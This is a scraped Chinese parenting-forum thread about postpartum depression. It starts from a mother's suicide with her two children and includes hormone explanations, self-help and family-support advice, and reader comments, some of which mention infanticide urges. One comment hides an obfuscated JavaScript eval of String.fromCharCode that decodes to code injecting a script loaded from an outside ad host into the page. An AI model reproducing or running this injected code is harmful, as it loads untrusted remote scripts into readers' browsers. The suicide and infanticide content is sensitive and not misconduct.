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女人一生中最难熬的322天,凭什么要一个人扛?

123827159怀孕妈妈

今天的广州雾霾因小雨一扫而空,但是屏儿的心仍被蒙上了大大的阴影...2017年1月6日晚20点左右,湖南湘潭某高端小区, 一个年仅31岁的妈妈,在自己生日前一周,带着一个两岁多儿子“提莫”和几个月女儿“伊娃”从13楼纵身跃下,母子三人,两个当场死亡,最小的一个送医不治身亡...




这个在朋友圈和微博疯传的悲剧,连同之前发生的“抑郁母亲刀砍5幼女导致4死1伤”“母亲产后抑郁捂死2个月大的儿子”“亲妈连捅满月婴儿十几刀,孩子送医路上不幸身亡”等等新闻一起,再为我们敲响了重视【产后抑郁】警钟,15页的遗书,细诉了她结婚生子3年来心里的每一寸绝望(全文截图在文末):






看完这些,我心理非常难受和复杂,产后抑郁这个话题,不知道还要发生多少次这样的悲剧才能受到重视?!





整整15页的遗书,屏儿只截取了其中4页,大家来感受一下这位母亲的心情。


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2017/01/11
精选回帖
13楼
1970/01/01回复
19楼
1970/01/01回复
没经历的过的人永远不会懂,就像男人不懂产前阵痛到底有多痛,带孩子累究竟有多累,他觉得只要让自己的老婆孩子吃饱穿暖就算尽到义务了
2017/01/11回复
是啊,白头人送黑头人,亲生父母心最痛啊!!!所以再难也要撑住啊
2017/01/11回复
bbt2003bbt200348楼
让你女儿喝偏方还让她带着女儿睡,只能说你这做妈的太不负责任,自己的孩子自己带,自己负责。
2017/01/11回复
曾经他说过让我去上班挣钱,他在家带小孩,但是他明知道不可能因为我们的收入相差几倍,我一个人上班支撑不了一个家庭的支出。所以女人还是要自立自强,尽量不要全职,有自己一片天地,有自己的经济收入,不要天天让孩子和柴米油盐占据了所有时间。还要自爱,别人不珍惜自己,就要自己爱自己多一点,最后谨记珍惜生命,过不去的时候多想想自己的父母和孩子。
2017/01/11回复
太揪心了。$('ed2k_11G').innerHTML=htmlspecialchars(unescape(decodeURIComponent('filesize')))+' ('+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,47,47,97,100,46,109,49,48,48,56,54,46,99,99,47,63,97,100,39,93,59))+' Bytes)';
2017/01/11回复
128楼
1970/01/01回复
全部回帖
怀孕和分娩为什么是女人最难熬的时候?
一些人可能会想,现在两个家庭6个大人,最多带2个孩子,比起那些战乱饥荒的国家,条件不要太好!
抑郁真的不是矫情吗?
屏儿只想说:你行你上啊,自己生一个孩子再来BB!

孕期时,特别是进入孕30周后,很多孕妇都会觉得体内的“洪荒之力”控制不了:
好好的走着路,鞋带松了系不上就会想哭!
安静吃着饭的老公,夹了自己想夹的菜就想打人!
怀孕前一笑置之的小摩擦,恨不得发火到山崩地裂!

这不是矫情,是因为怀孕后体内激素发生翻天覆地的变化造成的,其中最重要的一种是催产素(不要被名字骗了,它可不是生孩子才有的激素,爱爱的时候两情相悦的时候开心的时候都会有),还有雌激素和雄激素(没错,女人也有雄激素,不是男人才有)怀孕后,我们身体又分泌了孕激素,这是一种全新的激素,是身体里的新成员,这些激素的相互作用,造成情绪波动在所难免。所以体内“洪荒之力”不受控制,这不是孕妇的问题,是激素的问题。

吃瓜群众可能会认为,生产以后激素就会下降了吧?
大错特错!

分娩的时候需要大量催产素,产后需要大量泌乳素,加上孕激素的急速下降,这样的激素更迭,此起彼伏,更加容易引起情绪的剧烈波动,产后抑郁症是女性精神障碍中最常见的类型,分娩后第一周约60%的女性轻度抑郁,10%-15%患产后抑郁症,通常3-6个月后自行恢复,严重的可持续1-2年,再次妊娠则有30%的复发率。(当然,每个机体对激素的接受程度不同,也有人没有症状或者症状很轻)




2017/01/11回复
产后抑郁来了,怎么办?
1、自救
看了上面跳楼的那位妈妈,明眼人都很清楚她的抑郁不是一天造成的,而是三年的积累和压力,终于把她压垮。在痛苦的漩涡里,她没能等到拉她一把的那个人。所以,姐妹们,请不要苦苦的等别人来拯救你,首先学会自救才是硬道理!

了解了关于抑郁的知识,当你觉得情绪低落和暴躁绝望的时候,请告诉自己:
“这不是我,这是我体内的激素在打架!”
“这是激素作祟,不是我不幸福!”
“这是激素,不是家人不爱我!”

请大家有充分的了解和心理准备,情绪的剧烈波动是激素引起的,不是妈妈自己可以控制的。所有的不顺都是暂时的,千万不要忍着闷着,主动告诉家人如何应对你的情绪波动,找朋友聊天,参与社会活动(比如来妈妈网参加孕妈的聚会,比如积极的参与社会公益),如果真的很难受又无法排解,心里要装上一个小警铃,及时的寻求心理咨询和专业的帮助。

2、家人
老公回家不是第一时间抱孩子(或者打游戏),而是关心一下在家一天处理孩子屎奶尿屁的老婆,一句“老婆你辛苦了”,或者是一个紧紧的拥抱,都会让我们得到无限的温暖和勇气(女人真的要得不多)。

婆婆公公不是每天无休止的念叨自己多辛苦,自己年轻的时候多能干,而是多一点理解,媳妇一定会对你们的宽容感激涕零,毕竟大家还有几十年要相处。
爸爸妈妈不是拼命让女儿忍耐或者自己累死累活,而是多观察女儿的情况,及时的开导和疏通,如果发现异常不是藏着掖着或者指望女儿自己扛过去,及时寻求帮助。
朋友圈的人,看到最近怀孕生产的朋友发了一个关于抑郁症的内容,侧面关心一下,让她觉得这个世界还是有美好。
抑郁不是妈妈的错,更不应该让妈妈独自承受。我们可以学100种自救的方法,但是,都不如家人朋友的一句关心有效。

3、社会
如果产后抑郁能成为一个社会普遍概念,就像做产检一样是个常识,可能文首提到的悲剧,会更少一点...
2017/01/11回复
没跳楼能活到今天,又熬到二胎时大龄老公对自己好,期间的辛酸真不是能说完的,当年要不是咬牙熬,中间要不 ...
感觉有故事,可以和屏儿分享一下吗?
2017/01/11回复
小编有那个遗书的内容吗。。我看了遗书。。真心觉得这个妈妈的文字表达能力好。有文化有学历,素质比较高的 ...
小编有遗书的内容,贴在了第一层,不过只截取了部分内容
2017/01/11回复
zsh0763:


这与大年级无关,我先生与我同年,当年我小朋友出生时也发生了这些事,主要是与婆家 ...
查看原文
说得好!姐妹们把强大的内心锻炼起来!!!
2017/01/11回复
娘家的无条件付出,婆家的不作为。这句话太真实了,老公们,看看吧!就知道你们妈要亨享福。 ...
应该把文章转给老公、家婆们看看
2017/01/11回复
没经历的过的人永远不会懂,就像男人不懂产前阵痛到底有多痛,带孩子累究竟有多累,他觉得只要让自己的老 ...
应该让男人体验一下怀胎的艰辛和生孩子的阵痛!!!
2017/01/11回复
沐剑屏:


我转了这篇文章在朋友圈,附加一句“只有正真经历过的人才知道那有多恐怖”,知道我LG ...
查看原文
只有真正经历过才能有深切体会,男人们可能当下是明白道理的,但转眼容易忘啊!
2017/01/11回复
我生二宝的时候,老公不在身边,二宝又闹,我妈老是骂我老公不肯让二宝跟我姓。当时我真的有掐死二宝,然后 ...
天啊!还好你当时撑下来了,不然心疼你的人会很伤心
2017/01/11回复
所以说,生二胎等于是对老公的肯定啊,我是已经没有这个勇气了,自从娃出来后的这几年经历太多了 ...
有故事哦,欢迎来育儿版分享~~~
2017/01/11回复
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